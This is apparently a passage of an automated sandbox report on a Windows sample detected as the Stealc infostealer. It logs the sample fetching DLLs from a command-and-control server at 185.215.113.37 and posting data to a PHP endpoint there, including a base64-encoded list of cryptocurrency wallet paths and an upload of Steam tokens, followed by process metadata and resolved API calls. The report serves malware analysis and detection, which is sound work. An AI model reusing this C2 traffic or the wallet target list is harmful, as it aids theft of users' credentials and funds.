Oct 20, 2024 21:16:16.974524021 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 20, 2024 21:16:17.490998983 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 21:16:17.837383032 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:17 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 20, 2024 21:16:17.912451982 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 21:16:18.254329920 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 20, 2024 21:16:19.336782932 CEST	201	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIJEGCBGIDGHIDHDGCB Host: 185.215.113.37 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 21:16:20.381081104 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 21:16:20.571404934 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDG Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 2d 2d 0d 0a Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="message"wallets------JECBGCFHCFIDHIDHDGDG--
Oct 20, 2024 21:16:20.916030884 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 20, 2024 21:16:20.919450045 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDAEGHDGDBGDGDAAFI Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 41 45 47 48 44 47 44 42 47 44 47 44 41 41 46 49 2d 2d 0d 0a Data Ascii: ------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------AFHDAEGHDGDBGDGDAAFIContent-Disposition: form-data; name="message"files------AFHDAEGHDGDBGDGDAAFI--
Oct 20, 2024 21:16:21.263530016 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 21:16:21.288269043 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBKJEGIEBFHCAAKKEBA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 4b 4a 45 47 49 45 42 46 48 43 41 41 4b 4b 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------HDBKJEGIEBFHCAAKKEBAContent-Disposition: form-data; name="file"------HDBKJEGIEBFHCAAKKEBA--
Oct 20, 2024 21:16:22.130248070 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 21:16:22.167054892 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBAAEGDBKKECBGIJEB Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 41 41 45 47 44 42 4b 4b 45 43 42 47 49 4a 45 42 2d 2d 0d 0a Data Ascii: ------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------JJDBAAEGDBKKECBGIJEBContent-Disposition: form-data; name="message"ybncbhylepme------JJDBAAEGDBKKECBGIJEB--
Oct 20, 2024 21:16:22.517574072 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:22 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 20, 2024 21:16:22.520667076 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGD Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 33 39 62 32 66 63 36 35 36 62 34 39 31 37 66 31 38 64 61 37 64 35 34 37 64 32 37 32 63 35 66 66 36 61 39 65 63 66 34 30 31 65 38 31 36 61 36 39 65 62 62 35 66 38 32 37 61 31 37 30 65 32 61 36 38 39 37 65 37 33 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="token"3339b2fc656b4917f18da7d547d272c5ff6a9ecf401e816a69ebb5f827a170e2a6897e73------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CAKKJKKECFIDGDHIJEGD--
Oct 20, 2024 21:16:23.364484072 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 19:16:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	1
Start time:	15:15:59
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xaf0000
File size:	1'818'624 bytes
MD5 hash:	AF7D0452FA5D881625339C18A6387DA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2380756269.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.2149042786.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00B09860 Relevance: 66.7, APIs: 33, Strings: 5, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,007616F8), ref: 00B098A1
GetProcAddress.KERNEL32(76210000,00761710), ref: 00B098BA
GetProcAddress.KERNEL32(76210000,00761728), ref: 00B098D2
GetProcAddress.KERNEL32(76210000,00761548), ref: 00B098EA
GetProcAddress.KERNEL32(76210000,00761788), ref: 00B09903
GetProcAddress.KERNEL32(76210000,00768958), ref: 00B0991B
GetProcAddress.KERNEL32(76210000,007564F8), ref: 00B09933
GetProcAddress.KERNEL32(76210000,00756438), ref: 00B0994C
GetProcAddress.KERNEL32(76210000,007615A8), ref: 00B09964
GetProcAddress.KERNEL32(76210000,00761560), ref: 00B0997C
GetProcAddress.KERNEL32(76210000,007615C0), ref: 00B09995
GetProcAddress.KERNEL32(76210000,00761740), ref: 00B099AD
GetProcAddress.KERNEL32(76210000,00756538), ref: 00B099C5
GetProcAddress.KERNEL32(76210000,007615D8), ref: 00B099DE
GetProcAddress.KERNEL32(76210000,00761758), ref: 00B099F6
GetProcAddress.KERNEL32(76210000,007565D8), ref: 00B09A0E
GetProcAddress.KERNEL32(76210000,007615F0), ref: 00B09A27
GetProcAddress.KERNEL32(76210000,00761770), ref: 00B09A3F
GetProcAddress.KERNEL32(76210000,00756478), ref: 00B09A57
GetProcAddress.KERNEL32(76210000,00761800), ref: 00B09A70
GetProcAddress.KERNEL32(76210000,007566F8), ref: 00B09A88
LoadLibraryA.KERNEL32(00761818,?,00B06A00), ref: 00B09A9A
LoadLibraryA.KERNEL32(00761878,?,00B06A00), ref: 00B09AAB
LoadLibraryA.KERNEL32(00761830,?,00B06A00), ref: 00B09ABD
LoadLibraryA.KERNEL32(00761860,?,00B06A00), ref: 00B09ACF
LoadLibraryA.KERNEL32(00761848,?,00B06A00), ref: 00B09AE0
GetProcAddress.KERNEL32(75B30000,007617E8), ref: 00B09B02
GetProcAddress.KERNEL32(751E0000,007617B8), ref: 00B09B23
GetProcAddress.KERNEL32(751E0000,007617D0), ref: 00B09B3B
GetProcAddress.KERNEL32(76910000,00768EC0), ref: 00B09B5D
GetProcAddress.KERNEL32(75670000,00756458), ref: 00B09B7E
GetProcAddress.KERNEL32(77310000,007688F8), ref: 00B09B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00B09BB6

Strings

8eu, xrefs: 00B099B8
8du, xrefs: 00B0993E
NtQueryInformationProcess, xrefs: 00B09BAA
xdu, xrefs: 00B09A4A
Xdu, xrefs: 00B09B71

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
